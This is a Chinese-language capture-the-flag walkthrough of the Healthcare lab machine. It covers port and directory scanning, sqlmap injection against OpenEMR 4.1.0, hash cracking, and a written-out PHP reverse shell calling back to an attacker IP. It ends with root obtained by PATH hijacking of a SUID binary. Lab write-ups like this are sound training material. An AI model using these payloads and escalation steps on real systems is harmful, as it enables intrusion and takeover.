Healthcare靶机教程
要求
准备一台kail和Healthcare靶机
虚拟机网络为NAT模式
目标信息
难度等级:中等
获得两个标志:user.txt和root.txt。
渗透
我们启动靶机进入登录界面
这个就是我们要渗透的靶机
信息收集
-
启动靶机后进入kali使用nmap工具进行端口扫描靶机所在的网段
nmap -A 10.4.7.0/24
-
在这里获得了目标机的ip地址为10.4.7.5,以及其开放的端口号为 21 、80,所对应的服务是http和ftp
-
既然开放着21端口那我们尝试ftp匿名登录
-
发现该ftp服务未开启匿名登录
-
那我们从网站入手在浏览器输入10.4.7.5回车进入网站
-
可以看到一个输入框貌似可以输入邮箱那我们输入邮箱进行尝试
可以看到并没有什么反应但是看到usr上的网址是有变化,尝试sql注入 -
输入单引号闭合但是没什么反应
也找不到其他线索了
8. 进入返回kali对网站的敏感目录进行扫描 我这里使用的是gobuster工具
gobuster dir -r -u http://10.4.7.5/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x .html,.php
dir 为传统的目录爆破模式,-r 为重定向 -u指定网址 -w 字典位置 -x为扫描类型
9.在扫描过程中有被爆出来的敏感目录我们进行排查看看是否有有用的信息
因为.html /index.html都为网址主页就不查看了
查看http://10.4.7.5/favicon发现是一个图标
再来查看http://10.4.7.5/robots
在里面我们发现有提示几个目录分别试试
查看过后发现基本上都是找不到对象以及目录只能在本地访问
等gobuster扫完之后发现又扫出一个敏感目录
9. 我们输入网址进入网站http://10.4.7.5/openemr
发现是一个登录界面
10. 输入弱口令进行登录admin:admin
提示账号密码无效,看到=也尝试sql注入也没有成功
然后上网搜索了一下OpenEMR v4.1.0这个版本发现是有漏洞的
这是一个sql注入漏洞观察这个源代码找到了它的注入点
11. 验证一下这个版本是否存在这个漏洞使用sqlmap进行数据库枚举库
sqlmap -u "http://10.4.7.5/openemr/interface/login/validateUser.php?u=" -dbs
-u参数为指定网址 -dbs 为枚举库
可以看到数据库已经被枚举出来了说明是有这个漏洞我们可以直接继续枚举或者下载漏洞进行使用
在经过0.1s的内心挣扎中我果断选择省事的漏洞OpenEMR v4.1.0
12. 下载完成后复制到kali里
这是一个python文件漏洞编号是49742vim查看一下
13. 将程序里的网址改为目标机的IP 按i键是插入 esc键是退出插入 shift+: 输入wq保存
14. 运行python文件python3 49742.py
这里比较慢等待枚举账号密码
15.枚举出来账号和密码但是是md5加密
16.将密钥复制 新建一个终端输入vim md5.txt
进入之后按CTRL+shift+v粘贴然后wq保存
17.使用John命令进行破解密钥 john md5.txt
破解完成账号密码是admin:ackbar
18.返回网站进行登录
登录成功继续信息收集
19.经过查找发现有一个可以上传文件的地方
博主英语不好就使用了翻译
我们试着上传一个php文件里面有我写好的大马文件
<?php
$ip='10.4.7.3';
$port=10002;
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>
进行上传
上传好后使用路径进行访问
大概猜测路径为http://10.4.7.5/openemr/sites/default/bill.php
访问之后发现没有用
但是在这里有一个config.php的选项
尝试了一下这个居然可以访问
那我们将反弹shell写在这个里面保存!!! 千万不要删除原文件重新访问之后发现弹进来了
提权
反shell进来以后给加个壳python -c "import pty;pty.spawn('/bin/bash')"
方便我们操作
我
我们进入home目录下寻找线索在almirant用户的目录下发现了第一枚旗子
在查找已经找不到扫描信息了
我们查找一下二进制文件看是否存在着特殊权限位的文件可以让我们提权find / -perm -u=s -type f 2>/dev/null
我们看一下这文件是否能执行
发现可以执行
可以看到这是一个健康检查文件我们用strings命令查看一下能够打印出来的字符
可以看到下面的的内容是有被执行的 并且这个文件所有者为root这样的我们创建一个ifconfig文件里面写上shell想办法让他执行我们创建的文件就可以获得root权限了
我们进入/tmp目录下因为tmp目录所有用户都可以在这里创建文件 echo '/bin/bash' > ifconfig
因为有字符所有加’’ 防止出错
我们查看一下是否写入
接下来就让系统优先执行这里用到一个环境变量提权
环境变量提权具体意思是什么呢
就是使用export设置一个临时的环境变量
那么系统在执行文件的过程中没有加绝对路径那么就会默认去找环境变量里所设置的路径
这个路径下的文件又恰好是我们写的 这样就会执行文件的时候就会找到我们的文件执行里面的命令
为了保证文件可以顺利执行我们给文件把权限拉到最高 chmod 777 ifconfig
接下来设置临时环境变量 export PATH=/tmp:$PATH
我们再次执行这个健康检查文件/usr/bin/healthcheck
发现我们已经是root用户了
cd 到root的家目录下cd /root
less root.txt 拿下最后一面旗子
总结
这个靶机很基础没有什么难度,重要的是掌握工具的使用以及变量提权的方法